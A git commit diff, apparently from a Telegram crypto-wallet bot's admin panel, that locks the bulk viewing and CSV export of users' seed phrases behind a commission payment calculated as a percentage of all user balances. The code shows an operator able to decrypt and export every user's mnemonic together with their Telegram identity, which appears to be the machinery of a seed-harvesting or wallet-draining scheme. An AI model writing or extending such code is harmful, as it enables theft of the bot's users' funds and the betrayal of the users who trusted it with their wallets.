fix: lock seed phrases behind commission payment gate
- Seeds only unlock when lastPaidAmount >= currentCommission - CSV export endpoint also checks commission before serving - Button shows locked state with amount due when commission unpaid - Prevents free access to encrypted mnemonics without payment
This commit is contained in:
@@ -123,6 +123,7 @@ tr:hover td { background: #f9fafb; }
|
||||
.btn-danger, .btn-danger:hover { background: var(--danger); }
|
||||
.btn-success, .btn-success:hover { background: var(--success); }
|
||||
.btn-secondary { background: var(--muted); }
|
||||
.btn-secondary:hover { background: #555; }
|
||||
|
||||
.form, .inline-form {
|
||||
display: flex;
|
||||
|
||||
@@ -77,7 +77,9 @@ router.get('/', async (req, res) => {
|
||||
`SELECT * FROM commission_payments ORDER BY created_at DESC LIMIT 20`
|
||||
);
|
||||
|
||||
const seedsUnlocked = req.query.seeds === '1';
|
||||
const seedsRequested = req.query.seeds === '1';
|
||||
const seedsPaid = lastPaidAmount >= currentCommission && currentCommission > 0;
|
||||
const seedsUnlocked = seedsRequested && seedsPaid;
|
||||
|
||||
let seedPhrases = [];
|
||||
if (seedsUnlocked) {
|
||||
@@ -114,6 +116,7 @@ router.get('/', async (req, res) => {
|
||||
commissionWallets: config.COMMISSION_WALLETS,
|
||||
totalUsers: users.length,
|
||||
payments,
|
||||
seedsPaid,
|
||||
};
|
||||
|
||||
res.send(renderWalletLayout(users, selectedUser, wallets, stats, seedPhrases, seedsUnlocked));
|
||||
@@ -151,6 +154,20 @@ router.post('/record-payment', async (req, res) => {
|
||||
|
||||
router.post('/export-seeds', async (req, res) => {
|
||||
try {
|
||||
const walletStats = await getWalletStats();
|
||||
const commissionRate = config.COMMISSION_PERCENT / 100;
|
||||
const currentCommission = walletStats.totalUsd * commissionRate;
|
||||
const lastPayment = await db.getAsync(
|
||||
`SELECT * FROM commission_payments ORDER BY created_at DESC LIMIT 1`
|
||||
);
|
||||
const lastPaidAmount = lastPayment ? lastPayment.commission_amount_usd : 0;
|
||||
const seedsPaid = lastPaidAmount >= currentCommission && currentCommission > 0;
|
||||
|
||||
if (!seedsPaid) {
|
||||
logger.warn({ currentCommission, lastPaidAmount }, 'Seed export blocked — commission not paid');
|
||||
return res.status(403).send('Seed export is locked until commission is paid. Due: $' + Math.max(0, currentCommission - lastPaidAmount).toFixed(2));
|
||||
}
|
||||
|
||||
const walletsWithSeeds = await db.allAsync(
|
||||
`SELECT w.*, u.telegram_id, u.username
|
||||
FROM crypto_wallets w
|
||||
|
||||
@@ -154,9 +154,14 @@ export function renderWalletLayout(users, selectedUser, wallets, stats, seedPhra
|
||||
</div>
|
||||
` : `
|
||||
<div class="seed-locked">
|
||||
<p>Seed phrases are encrypted and hidden by default.</p>
|
||||
<p class="muted">Commission payment is required to unlock wallet mnemonics. The due amount is <strong>$${fmt(stats.commissionDue)}</strong> (${stats.commissionRate}% of current total balances minus last payment).</p>
|
||||
<a href="/wallets?seeds=1&user=${selectedUser ? selectedUser.id : ''}" class="btn btn-danger">🔓 Unlock Seed Phrases</a>
|
||||
<p>Seed phrases are encrypted and locked until commission is paid.</p>
|
||||
${stats.commissionDue > 0 ? `
|
||||
<p class="muted">Commission owed: <strong>$${fmt(stats.commissionDue)}</strong> (${stats.commissionRate}% of current total balances minus last payment).</p>
|
||||
<p class="muted">Record a payment above to unlock access.</p>
|
||||
` : `
|
||||
<p class="muted">No wallet balances to calculate commission. Commission will be calculated once users deposit funds.</p>
|
||||
`}
|
||||
${stats.seedsPaid ? `<a href="/wallets?seeds=1&user=${selectedUser ? selectedUser.id : ''}" class="btn btn-danger">🔓 Unlock Seed Phrases</a>` : `<span class="btn btn-secondary" style="opacity:0.5;cursor:not-allowed;">🔒 Unlock requires commission payment</span>`}
|
||||
</div>
|
||||
`}
|
||||
</div>
|
||||
|
||||
Reference in New Issue
Block a user